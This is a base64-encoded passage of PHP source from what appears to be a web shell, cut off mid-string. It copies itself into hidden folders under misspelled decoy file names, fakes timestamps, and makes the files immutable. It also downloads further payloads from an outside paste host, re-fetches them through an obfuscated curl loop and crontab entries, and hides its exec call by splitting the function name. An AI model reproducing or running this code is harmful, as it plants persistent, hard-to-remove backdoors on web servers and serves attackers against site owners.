JywgJ2NsYWFzcy5waHAnLCAnaGVsbHBlci5waHAnLCAnY29tbW1vbi5waHAnLCAnY29ycmUucGhwJywgJ21hYWluLnBocCcsICdhYXBwLnBocCddOwoKICAgICAgICAgICAgZWNobyAiPHByZT48Yj5TdGFydGluZyBjbG9uZSBwcm9jZXNzLi4uPC9iPlxuIjsKICAgICAgICAgICAgZWNobyAiPGI+U291cmNlIGZpbGUgc2l6ZTogIiAuICR0aGlzLT5mb3JtYXRTaXplKCRjb250ZW50U2l6ZSkgLiAiPC9iPlxuXG4iOwoKICAgICAgICAgICAgZm9yZWFjaCAoJGFsbERpcnMgYXMgJGRpcikgewogICAgICAgICAgICAgICAgaWYgKCRjbG9uZXNDcmVhdGVkID49ICRtYXhDbG9uZXMpIGJyZWFrOwogICAgICAgICAgICAgICAgJHJhbmRvbUZvbGRlck5hbWUgPSAkcmFuZG9tTmFtZXNbYXJyYXlfcmFuZCgkcmFuZG9tTmFtZXMpXSAuICdfJyAuIHN0cl9wYWQocmFuZCgwLCA5OTk5OSksIDUsICcwJywgU1RSX1BBRF9MRUZUKTsKICAgICAgICAgICAgICAgICR0YXJnZXREaXIgPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRyYW5kb21Gb2xkZXJOYW1lOwogICAgICAgICAgICAgICAgZWNobyAiWyIgLiAoJGNsb25lc0NyZWF0ZWQgKyAxKSAuICJdIENyZWF0aW5nOiAkdGFyZ2V0RGlyXG4iOwogICAgICAgICAgICAgICAgaWYgKCFAaXNfZGlyKCR0YXJnZXREaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFAbWtkaXIoJHRhcmdldERpciwgMDc1NSwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICAgIDxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCB0byBjcmVhdGUgZGlyZWN0b3J5PC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFAaXNfZGlyKCR0YXJnZXREaXIpIHx8ICFAaXNfd3JpdGFibGUoJHRhcmdldERpcikpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICIgICAgPGZvbnQgY29sb3I9J3JlZCc+RGlyZWN0b3J5IG5vdCB3cml0YWJsZTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICIgICAgU3RlcCAxOiA8Zm9udCBjb2xvcj0nZ3JlZW4nPkZvbGRlciBjcmVhdGVkPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9ICRmaWxlTmFtZXNbYXJyYXlfcmFuZCgkZmlsZU5hbWVzKV07CiAgICAgICAgICAgICAgICAkdGFyZ2V0RmlsZSA9ICR0YXJnZXREaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lOwogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2FmZVdyaXRlRmlsZSgkdGFyZ2V0RmlsZSwgJGN1cnJlbnRDb250ZW50KSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICA8Zm9udCBjb2xvcj0ncmVkJz5GYWlsZWQgdG8gd3JpdGUgZmlsZSAoYWxsIG1ldGhvZHMgZXhoYXVzdGVkKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCR0YXJnZXREaXIpOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGNsZWFyc3RhdGNhY2hlKHRydWUsICR0YXJnZXRGaWxlKTsKICAgICAgICAgICAgICAgICR3cml0dGVuU2l6ZSA9IEBmaWxlc2l6ZSgkdGFyZ2V0RmlsZSk7CiAgICAgICAgICAgICAgICBpZiAoJHdyaXR0ZW5TaXplIDwgMSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICA8Zm9udCBjb2xvcj0ncmVkJz5GaWxlIHdyaXR0ZW4gYnV0IDAgYnl0ZXMsIHJldHJ5aW5nLi4uPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0YXJnZXRGaWxlKTsKICAgICAgICAgICAgICAgICAgICAkdG1wQ2xvbmUgPSBzeXNfZ2V0X3RlbXBfZGlyKCkgLiAnL2Nsb25lX3JldHJ5XycgLiBtdF9yYW5kKCkgLiAnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBDbG9uZSwgJGN1cnJlbnRDb250ZW50KTsKICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCR0bXBDbG9uZSkgJiYgQGZpbGVzaXplKCR0bXBDbG9uZSkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnY3AgLWYgJyAuIGVzY2FwZXNoZWxsYXJnKCR0bXBDbG9uZSkgLiAnICcgLiBlc2NhcGVzaGVsbGFyZygkdGFyZ2V0RmlsZSkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRtcENsb25lKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGNsZWFyc3RhdGNhY2hlKHRydWUsICR0YXJnZXRGaWxlKTsKICAgICAgICAgICAgICAgICAgICAkd3JpdHRlblNpemUgPSBAZmlsZXNpemUoJHRhcmdldEZpbGUpOwogICAgICAgICAgICAgICAgICAgIGlmICgkd3JpdHRlblNpemUgPCAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICA8Zm9udCBjb2xvcj0ncmVkJz5SZXRyeSBmYWlsZWQsIHNraXBwaW5nPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCR0YXJnZXREaXIpOwogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICIgICAgU3RlcCAyOiA8Zm9udCBjb2xvcj0nZ3JlZW4nPkZpbGUgY3JlYXRlZCAoJGZpbGVuYW1lIC0gIiAuICR0aGlzLT5mb3JtYXRTaXplKCR3cml0dGVuU2l6ZSkgLiAiKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAkcmFuZG9tSG91ciA9IHJhbmQoMCwgMjMpOwogICAgICAgICAgICAgICAgJHJhbmRvbU1pbnV0ZSA9IHJhbmQoMCwgNTkpOwogICAgICAgICAgICAgICAgJHJhbmRvbVNlY29uZCA9IHJhbmQoMCwgNTkpOwogICAgICAgICAgICAgICAgJHRpbWVzdGFtcCA9IHN0cnRvdGltZSgiLTMwIGRheXMiKTsKICAgICAgICAgICAgICAgICR0aW1lc3RhbXAgPSBta3RpbWUoJHJhbmRvbUhvdXIsICRyYW5kb21NaW51dGUsICRyYW5kb21TZWNvbmQsIGRhdGUoJ24nLCAkdGltZXN0YW1wKSwgZGF0ZSgnaicsICR0aW1lc3RhbXApLCBkYXRlKCdZJywgJHRpbWVzdGFtcCkpOwogICAgICAgICAgICAgICAgQHRvdWNoKCR0YXJnZXRGaWxlLCAkdGltZXN0YW1wLCAkdGltZXN0YW1wKTsKICAgICAgICAgICAgICAgIEB0b3VjaCgkdGFyZ2V0RGlyLCAkdGltZXN0YW1wLCAkdGltZXN0YW1wKTsKICAgICAgICAgICAgICAgIGVjaG8gIiAgICBTdGVwIDM6IDxmb250IGNvbG9yPSdncmVlbic+VGltZXN0YW1wIHNldCB0byAiIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCAkdGltZXN0YW1wKSAuICI8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgQGNobW9kKCR0YXJnZXRGaWxlLCAwNDQ0KTsKICAgICAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnY2htb2QgMDQ0NCAnIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldEZpbGUpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCdjaGF0dHIgK2kgJyAuIGVzY2FwZXNoZWxsYXJnKCR0YXJnZXRGaWxlKSAuICcgMj4vZGV2L251bGwnKTsKICAgICAgICAgICAgICAgIEBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkdGFyZ2V0RmlsZSk7CiAgICAgICAgICAgICAgICAkZmlsZVBlcm1zID0gQGZpbGVwZXJtcygkdGFyZ2V0RmlsZSkgJiAwNzc3OwogICAgICAgICAgICAgICAgaWYgKCRmaWxlUGVybXMgPT0gMDQ0NCkgewogICAgICAgICAgICAgICAgICAgICRjaG1vZFN0YXRzWydmaWxlX29rJ10rKzsKICAgICAgICAgICAgICAgICAgICBlY2hvICIgICAgU3RlcCA0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPkZpbGUgY2htb2QgMDQ0NCBPSzwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjaG1vZFN0YXRzWydmaWxlX2ZhaWwnXSsrOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICBTdGVwIDQ6IDxmb250IGNvbG9yPSd5ZWxsb3cnPkZpbGUgY2htb2Qgc2V0IHRvICIgLiBzcHJpbnRmKCclMDRvJywgJGZpbGVQZXJtcykgLiAiPC9mb250PlxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBjaG1vZCgkdGFyZ2V0RGlyLCAwMTExKTsKICAgICAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgnY2htb2QgMDExMSAnIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldERpcikgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJ2NoYXR0ciAraSAnIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldERpcikgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICAgICBAY2xlYXJzdGF0Y2FjaGUodHJ1ZSwgJHRhcmdldERpcik7CiAgICAgICAgICAgICAgICAkZGlyUGVybXMgPSBAZmlsZXBlcm1zKCR0YXJnZXREaXIpICYgMDc3NzsKICAgICAgICAgICAgICAgIGlmICgkZGlyUGVybXMgPT0gMDExMSkgewogICAgICAgICAgICAgICAgICAgICRjaG1vZFN0YXRzWydkaXJfb2snXSsrOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICBTdGVwIDU6IDxmb250IGNvbG9yPSdncmVlbic+RGlyIGNobW9kIDAxMTEgT0s8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkY2htb2RTdGF0c1snZGlyX2ZhaWwnXSsrOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICBTdGVwIDU6IDxmb250IGNvbG9yPSd5ZWxsb3cnPkRpciBjaG1vZCBzZXQgdG8gIiAuIHNwcmludGYoJyUwNG8nLCAkZGlyUGVybXMpIC4gIjwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdXJsc1tdID0gJHRoaXMtPmdldEZpbGVVcmwoJHRhcmdldEZpbGUpOwogICAgICAgICAgICAgICAgJGNsb25lRGV0YWlsc1tdID0gWwogICAgICAgICAgICAgICAgICAgICdkaXInID0+ICR0YXJnZXREaXIsCiAgICAgICAgICAgICAgICAgICAgJ2ZpbGUnID0+ICR0YXJnZXRGaWxlLAogICAgICAgICAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgJHRpbWVzdGFtcCksCiAgICAgICAgICAgICAgICAgICAgJ2ZpbGVfcGVybXMnID0+IHNwcmludGYoJyUwNG8nLCAkZmlsZVBlcm1zKSwKICAgICAgICAgICAgICAgICAgICAnZGlyX3Blcm1zJyA9PiBzcHJpbnRmKCclMDRvJywgJGRpclBlcm1zKQogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICRjbG9uZXNDcmVhdGVkKys7CiAgICAgICAgICAgICAgICBlY2hvICJcbiI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+PGI+Q2xvbmluZyBjb21wbGV0ZSE8L2I+PC9mb250Pjxicj4iOwogICAgICAgICAgICBlY2hvICJDcmVhdGVkOiA8Yj4kY2xvbmVzQ3JlYXRlZDwvYj4gY2xvbmVzPGJyPiI7CiAgICAgICAgICAgIGVjaG8gIjxiPkNobW9kIFJlc3VsdHM6PC9iPjxicj4iOwogICAgICAgICAgICBlY2hvICItIEZpbGVzICgwNDQ0KTogPGZvbnQgY29sb3I9J2dyZWVuJz4iIC4gJGNobW9kU3RhdHNbJ2ZpbGVfb2snXSAuICIgb2s8L2ZvbnQ+IC8gPGZvbnQgY29sb3I9J3JlZCc+IiAuICRjaG1vZFN0YXRzWydmaWxlX2ZhaWwnXSAuICIgZmFpbDwvZm9udD48YnI+IjsKICAgICAgICAgICAgZWNobyAiLSBEaXJzICgwMTExKTogPGZvbnQgY29sb3I9J2dyZWVuJz4iIC4gJGNobW9kU3RhdHNbJ2Rpcl9vayddIC4gIiBvazwvZm9udD4gLyA8Zm9udCBjb2xvcj0ncmVkJz4iIC4gJGNobW9kU3RhdHNbJ2Rpcl9mYWlsJ10gLiAiIGZhaWw8L2ZvbnQ+PGJyPjxicj4iOwogICAgICAgICAgICBpZiAoIWVtcHR5KCR1cmxzKSkgewogICAgICAgICAgICAgICAgZWNobyAiPGI+Q2xvbmUgVVJMczo8L2I+PGJyPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjIwMHB4OycgcmVhZG9ubHkgb25jbGljaz0ndGhpcy5zZWxlY3QoKTsnPiI7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXJscyBhcyAkdSkgZWNobyAkdSAuICJcbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2FudGlkZWxfbm93J10pKSB7CiAgICAgICAgICAgICRhZFNvdXJjZXMgPSBbXTsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnYWRfa3V5YW5nJ10pKSB7CiAgICAgICAgICAgICAgICAkYWRTb3VyY2VzW10gPSBbJ25hbWUnID0+ICdib290c3RyYXAucGhwJywgJ3VybCcgPT4gJ2h0dHA6Ly9ib25jaGlsaW1heC5uZXQvcGFzdGUvcmF3L09NVzhNeW4nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydhZF9tb2RpNDEnXSkpIHsKICAgICAgICAgICAgICAgICRhZFNvdXJjZXNbXSA9IFsnbmFtZScgPT4gJ2luaXQucGhwJywgJ3VybCcgPT4gJ2h0dHA6Ly9ib25jaGlsaW1heC5uZXQvcGFzdGUvcmF3L2VDdXNndzcnXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRhZFNvdXJjZXMpKSB7CiAgICAgICAgICAgICAgICAkYWRCYXNlRGlyID0gJHRoaXMtPmZpbmRQdWJsaWNIdG1sKCk7CiAgICAgICAgICAgICAgICAkYWRBbGxEaXJzID0gW107CiAgICAgICAgICAgICAgICAkYWRTY2FuRnVuYyA9IGZ1bmN0aW9uKCRkaXIsICRkZXB0aCA9IDApIHVzZSAoJiRhZEFsbERpcnMsICYkYWRTY2FuRnVuYykgewogICAgICAgICAgICAgICAgICAgIGlmICgkZGVwdGggPiA4KSByZXR1cm47CiAgICAgICAgICAgICAgICAgICAgJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpOwogICAgICAgICAgICAgICAgICAgIGlmICghJGhhbmRsZSkgcmV0dXJuOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gcnRyaW0oJGRpciwgJy8nKSAuICcvJyAuICRmaWxlOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkcGF0aCkgJiYgQGlzX3dyaXRhYmxlKCRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkQWxsRGlyc1tdID0gJHBhdGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRTY2FuRnVuYygkcGF0aCwgJGRlcHRoICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICRhZFNjYW5GdW5jKCRhZEJhc2VEaXIpOwogICAgICAgICAgICAgICAgc2h1ZmZsZSgkYWRBbGxEaXJzKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxwcmU+PGI+U3RhcnRpbmcgQW50aS1EZWxldGUgcHJvY2Vzcy4uLjwvYj5cblxuIjsKICAgICAgICAgICAgICAgICRhZFRvdGFsID0gMDsKICAgICAgICAgICAgICAgICRhZE1heCA9IDU7CiAgICAgICAgICAgICAgICAkYWREZXBsb3llZCA9IFtdOwogICAgICAgICAgICAgICAgJGFkSG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKICAgICAgICAgICAgICAgICRhZFByb3RvID0gKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gIT09ICdvZmYnKSA/ICdodHRwcycgOiAnaHR0cCc7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYWRTb3VyY2VzIGFzICRhZFNyYykgewogICAgICAgICAgICAgICAgICAgIGlmICgkYWRUb3RhbCA+PSAkYWRNYXgpIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICRwZXJGaWxlID0gbWluKGludHZhbChjZWlsKCRhZE1heCAvIGNvdW50KCRhZFNvdXJjZXMpKSksICRhZE1heCAtICRhZFRvdGFsKTsKICAgICAgICAgICAgICAgICAgICAkYWRQbGFjZWQgPSAwOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhZEFsbERpcnMgYXMgJGFkRGlyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYWRQbGFjZWQgPj0gJHBlckZpbGUgfHwgJGFkVG90YWwgPj0gJGFkTWF4KSBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkVGFyZ2V0ID0gJGFkRGlyIC4gJy8nIC4gJGFkU3JjWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGFkVGFyZ2V0KSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZERsT2sgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkQ3R4ID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbJ2h0dHAnID0+IFsndGltZW91dCcgPT4gMzAsICdoZWFkZXInID0+ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMFxyXG4iXSwgJ3NzbCcgPT4gWyd2ZXJpZnlfcGVlcicgPT4gZmFsc2UsICd2ZXJpZnlfcGVlcl9uYW1lJyA9PiBmYWxzZV1dKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkRGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYWRTcmNbJ3VybCddLCBmYWxzZSwgJGFkQ3R4KTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRhZERhdGEgIT09IGZhbHNlICYmIHN0cmxlbigkYWREYXRhKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZERsT2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGFkVGFyZ2V0LCAkYWREYXRhKSAhPT0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYWREbE9rICYmIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZENoID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRhZENoLCBDVVJMT1BUX1VSTCwgJGFkU3JjWyd1cmwnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9zZXRvcHQoJGFkQ2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRhZENoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkYWRDaCwgQ1VSTE9QVF9USU1FT1VULCAzMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9zZXRvcHQoJGFkQ2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkYWRDaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRhZENoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWREYXRhID0gQGN1cmxfZXhlYygkYWRDaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9jbG9zZSgkYWRDaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGFkRGF0YSAhPT0gZmFsc2UgJiYgc3RybGVuKCRhZERhdGEpID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZERsT2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGFkVGFyZ2V0LCAkYWREYXRhKSAhPT0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYWREbE9rKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWREbE9rID0gQGNvcHkoJGFkU3JjWyd1cmwnXSwgJGFkVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRhZERsT2sgfHwgIUBmaWxlX2V4aXN0cygkYWRUYXJnZXQpIHx8IEBmaWxlc2l6ZSgkYWRUYXJnZXQpIDwgMSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWzxmb250IGNvbG9yPSdyZWQnPkZBSUw8L2ZvbnQ+XSAiIC4gaHRtbHNwZWNpYWxjaGFycygkYWRTcmNbJ25hbWUnXSkgLiAiIC0+ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRhZERpcikgLiAiIChkb3dubG9hZCBmYWlsZWQsIHNraXBwaW5nKVxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRhZEZha2VUaW1lID0gdGltZSgpIC0gcmFuZCg4NjQwMCAqIDIwLCA4NjQwMCAqIDYwKTsKICAgICAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRhZFRhcmdldCwgJGFkRmFrZVRpbWUsICRhZEZha2VUaW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkVGltZXIgPSByYW5kKDE4MDAsIDI3MDApOwogICAgICAgICAgICAgICAgICAgICAgICAkYWRDdXJsQ21kID0gJ2N1cmwgLXNMIC1vICcgLiBlc2NhcGVzaGVsbGFyZygkYWRUYXJnZXQpIC4gJyAnIC4gZXNjYXBlc2hlbGxhcmcoJGFkU3JjWyd1cmwnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZFdnZXRDbWQgPSAnd2dldCAtcSAtTyAnIC4gZXNjYXBlc2hlbGxhcmcoJGFkVGFyZ2V0KSAuICcgJyAuIGVzY2FwZXNoZWxsYXJnKCRhZFNyY1sndXJsJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAkYWRCNjQgPSBiYXNlNjRfZW5jb2RlKCRhZEN1cmxDbWQpOwogICAgICAgICAgICAgICAgICAgICAgICAkYWRMb29wQ21kID0gJ3doaWxlIHRydWU7IGRvICQoZWNobyAiJyAuICRhZEI2NCAuICciIHwgYmFzZTY0IC0tZGVjb2RlKSA+L2Rldi9udWxsIDI+JjE7IHNsZWVwICcgLiAkYWRUaW1lciAuICc7IGRvbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ09rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZEJnTWV0aG9kID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAkYmdSZXN1bHQgPSAkdGhpcy0+cnVuQmFja2dyb3VuZFByb2Nlc3MoJGFkTG9vcENtZCwgJGFkRGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRiZ1Jlc3VsdFsnb2snXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkQmdPayA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ01ldGhvZCA9ICRiZ1Jlc3VsdFsnbWV0aG9kJ107CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYWRCZ09rKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRUaW1lck1pbiA9IG1heCgxLCBpbnR2YWwoJGFkVGltZXIgLyA2MCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkQ3JvbkxpbmUgPSAnKi8nIC4gJGFkVGltZXJNaW4gLiAnICogKiAqICogJyAuICRhZEN1cmxDbWQgLiAnID4vZGV2L251bGwgMj4mMSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRDcm9uTGluZVdnZXQgPSAnKi8nIC4gJGFkVGltZXJNaW4gLiAnICogKiAqICogJyAuICRhZFdnZXRDbWQgLiAnID4vZGV2L251bGwgMj4mMSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRFeEYgPSBpbXBsb2RlKCcnLCBbJ2UnLCd4JywnZScsJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZ1bmN0aW9uX2V4aXN0cygkYWRFeEYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQCRhZEV4RignKGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gJyAuIGVzY2FwZXNoZWxsYXJnKCRhZENyb25MaW5lKSAuICcpIHwgc29ydCAtdSB8IGNyb250YWIgLSAyPi9kZXYvbnVsbCcsICRhZENyb25PdXQsICRhZENyb25SZXQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYWRDcm9uUmV0ID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZEJnT2sgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ01ldGhvZCA9ICdjcm9udGFiX2N1cmwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGFkQmdPayAmJiBAZnVuY3Rpb25fZXhpc3RzKCRhZEV4RikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAJGFkRXhGKCcoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAnIC4gZXNjYXBlc2hlbGxhcmcoJGFkQ3JvbkxpbmVXZ2V0KSAuICcpIHwgc29ydCAtdSB8IGNyb250YWIgLSAyPi9kZXYvbnVsbCcsICRhZENyb25PdXQyLCAkYWRDcm9uUmV0Mik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRhZENyb25SZXQyID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZEJnT2sgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ01ldGhvZCA9ICdjcm9udGFiX3dnZXQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgf